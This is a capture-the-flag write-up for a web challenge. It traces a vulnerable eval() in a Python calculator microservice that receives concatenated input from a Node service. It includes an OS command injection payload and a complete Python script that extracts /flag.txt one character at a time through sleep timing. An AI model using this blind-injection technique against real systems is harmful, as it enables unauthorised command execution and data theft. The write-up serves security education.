Microservice as a Service 1
Part 1: Calculator
https://maas.rars.win/
This is a 3 part challenge.
Note: This challenge restarts periodically, if you get 502 errors, you may have caught it during a restart, it should be up within a minute.
Challenge
TL;DR: Blind OS Command Injection so we infer the flag character by character via
sleep
-ing.
As this is a three-part challenge, it would be good to take a look at their docker-compose file to see the network layout.
version: "3.3"
services:
app:
build: app
ports:
- "5000:5000"
depends_on: ["calculator", "notes", "manager"]
networks:
- public
- level-1
calculator:
build: calculator
depends_on: ["checkers", "arithmetic"]
networks:
- level-1
- calculator-net
checkers:
build: calculator/checkers
networks:
- calculator-net
arithmetic:
build: calculator/arithmetic
networks:
- calculator-net
notes:
build: notes
depends_on: ["redis_users", "redis_userdata"]
networks:
- level-1
- notes-net
redis_users:
image: library/redis:latest
networks:
- notes-net
redis_userdata:
build: notes/redis_userdata
networks:
- notes-net
manager:
build: manager
depends_on: ["manager_users", "manager_updater"]
networks:
- level-1
- manager-net
manager_users:
image: library/redis:latest
networks:
- manager-net
manager_updater:
build: manager/updater
networks:
- level-1
- manager-net
networks:
public:
driver: bridge
level-1:
driver: bridge
internal: true
calculator-net:
driver: bridge
internal: true
notes-net:
driver: bridge
internal: true
manager-net:
driver: bridge
internal: true
It looks like the main application will be able to access the following 3 instances directly via the shared network level-1
:
calculator
notes
manager
Looking at the network layout for this challenge, we see that there are 2 additional hosts, checkers
and arithmetic
, that we cannot reach from the main application directly as they reside in calculator-net
:
calculator:
build: calculator
depends_on: ["checkers", "arithmetic"]
networks:
- level-1
- calculator-net
checkers:
build: calculator/checkers
networks:
- calculator-net
arithmetic:
build: calculator/arithmetic
networks:
- calculator-net
Now that we have a high-level overview of the challenge, let’s analyse the given source code.
We adopt a top-down approach by analyzing the main app.py
file first, and focusing on the function that route to /calculator
. We see that the HTTP parameter mode
would result in the main server sending a request to calculator
on the calculator-net
internal network.
Source: app/app.py
@app.route('/calculator', methods=["POST", "GET"])
def calculator():
if request.method == "GET":
return render_template('calculator.html')
mode = request.form.get('mode')
if not mode:
return ERR_MISSING, 422
if mode == 'checkers':
value = request.form.get('value')
if not value:
return ERR_MISSING, 422
body = {"value": value}
if request.form.get('even'):
body['even'] = True
elif request.form.get('odd'):
body['odd'] = True
elif request.form.get('number'):
body['number'] = True
else:
return ERR_MISSING, 422
r = requests.post('http://calculator:5000/checkers', data=body)
return render_template('calculator.html', tab='checkers', result=r.text)
elif mode == 'arithmetic':
n1 = request.form.get('n1')
n2 = request.form.get('n2')
if not n1 or not n2:
return ERR_MISSING, 422
body = {"n1": n1, "n2": n2}
if request.form.get('add'):
body['add'] = True
elif request.form.get('sub'):
body['sub'] = True
elif request.form.get('div'):
body['div'] = True
elif request.form.get('mul'):
body['mul'] = True
else:
return ERR_MISSING, 422
r = requests.post('http://calculator:5000/arithmetic', data=body)
return render_template('calculator.html', tab='arithmetic', result=r.text)
On the calculator
server, upon receiving a request from the main application server, it simply forwards the requests, along with the supplied parameters, to either the checkers
or arithmetic
host.
Source: app/calculator/app.py
@app.route('/checkers', methods=["POST"])
def checkers():
if request.form.get('even'):
r = requests.get(f'http://checkers:3000/is_even?n={request.form.get("value")}')
elif request.form.get('odd'):
r = requests.get(f'http://checkers:3000/is_odd?n={request.form.get("value")}')
elif request.form.get('number'):
r = requests.get(f'http://checkers:3000/is_number?n={request.form.get("value")}')
result = r.json()
res = result.get('result')
if not res:
return str(result.get('error'))
return str(res)
@app.route('/arithmetic', methods=["POST"])
def arithmetic():
if request.form.get('add'):
r = requests.get(f'http://arithmetic:3000/add?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
elif request.form.get('sub'):
r = requests.get(f'http://arithmetic:3000/sub?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
elif request.form.get('div'):
r = requests.get(f'http://arithmetic:3000/div?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
elif request.form.get('mul'):
r = requests.get(f'http://arithmetic:3000/mul?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
result = r.json()
res = result.get('result')
if not res:
return str(result.get('error'))
try:
res_type = type(eval(res, builtins.__dict__, {}))
if res_type is int or res_type is float:
return str(res)
else:
return "Result is not a number"
except NameError:
return "Result is invalid"
Looking at these 2 routings, our eyes immediately spot that /arithmetic
route contains an eval()
function call using the value contained in “result” from the arithmetic
server response.
Let’s look at the source for the arithmetic
server.
Source: app/calculator/arithmetic/index.js
app.get('/add', (req, res) => {
if (!(req.query.n1 && req.query.n2)) {
res.json({"error": "No number provided"});
}
res.json({"result": req.query.n1 + req.query.n2});
});
app.get('/sub', (req, res) => {
if (!(req.query.n1 && req.query.n2)) {
res.json({"error": "No number provided"});
}
res.json({"result": req.query.n1 - req.query.n2});
});
app.get('/div', (req, res) => {
if (!(req.query.n1 && req.query.n2)) {
res.json({"error": "No number provided"});
}
res.json({"result": req.query.n1 / req.query.n2});
});
app.get('/mul', (req, res) => {
if (!(req.query.n1 && req.query.n2)) {
res.json({"error": "No number provided"});
}
res.json({"result": req.query.n1 * req.query.n2});
});
Using the variables n1
and n2
obtained from the HTTP request parameters, different arithmetic operations are performed depending on the endpoint and the results are returned. We see that add
looks promising as it concatenates and returns n1
and n2
.
Then back at calculator
, this response is used in an eval()
function call:
result = r.json()
res = result.get('result')
if not res:
return str(result.get('error'))
try:
res_type = type(eval(res, builtins.__dict__, {}))
We can now inject OS commands into either n1
or n2
and setting the arithmetic operation to be /add
. However, the output of the OS command is never shown to us since the eval()
is wrapped by a type()
function call. Furthermore, the command execution takes place on the calculator
host, which does not have access to the public
network, meaning we cannot simply curl
out the flag.
Our approach would be to read the flag character by character and sleep
-ing when the guessed character is correct. To do this, a script was created to simplify the process. We sleep
for 5 seconds when the guess is correct.
import requests
url = "https://maas.rars.win/calculator"
timeout = 5
def send_req(payload):
data = {
"mode": "arithmetic",
"add": "1",
"n2": " ",
"n1": payload
}
res = requests.post(url, data=data)
if res.elapsed.total_seconds() > timeout:
return True
else:
return False
def brute_len():
print("Flag Length: ", end="", flush=True)
for i in range(1, 101):
cmd = "if [ $(cat /flag.txt | wc -m) == {} ]; then sleep {}; fi".format(i, timeout)
payload = "__import__('os').system('{}')".format(cmd)
if send_req(payload):
print("{}".format(i))
return i
def brute_flag(flag_length):
print("Flag: ", end="", flush=True)
for i in range(1, flag_length + 1):
for c in range(32, 127):
cmd = "if [ $(cat /flag.txt | cut -c {}) == {} ]; then sleep {}; fi".format(i, chr(c), timeout)
payload = "__import__('os').system('{}')".format(cmd)
if send_req(payload):
print("{}".format(chr(c)), end="", flush=True)
print()
flag_length = brute_len()
brute_flag(flag_length)
Running the script:
$ python3 calculator.py
Flag Length: 39
Flag: rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}
Flag: rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}